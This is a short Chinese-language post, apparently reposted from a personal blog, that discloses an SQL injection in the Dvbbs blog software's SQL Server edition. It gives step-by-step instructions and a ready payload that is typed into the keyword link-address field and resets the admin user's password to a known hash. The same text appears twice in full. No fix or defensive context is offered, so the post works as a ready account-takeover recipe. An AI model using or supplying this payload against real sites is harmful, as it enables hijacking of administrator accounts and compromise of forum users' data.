动网博客又一Injection
信息来源: 守护天使's Blog
受影响版本:Dvbbs blog (All vers) SQL版
Access版不受影响
注册会员
进入管理博客
关健字设置
随便填
再编辑关健字
上面几个还是随便填写。。
在第三个，也就是连接地址这里写入语句123123'where 1=0;update dv_user set userpassword='469e80d32c0559f8' where username='admin'--
信息来源: 守护天使's Blog
受影响版本:Dvbbs blog (All vers) SQL版
Access版不受影响
注册会员
进入管理博客
关健字设置
随便填
再编辑关健字
上面几个还是随便填写。。
在第三个，也就是连接地址这里写入语句123123'where 1=0;update dv_user set userpassword='469e80d32c0559f8' where username='admin'--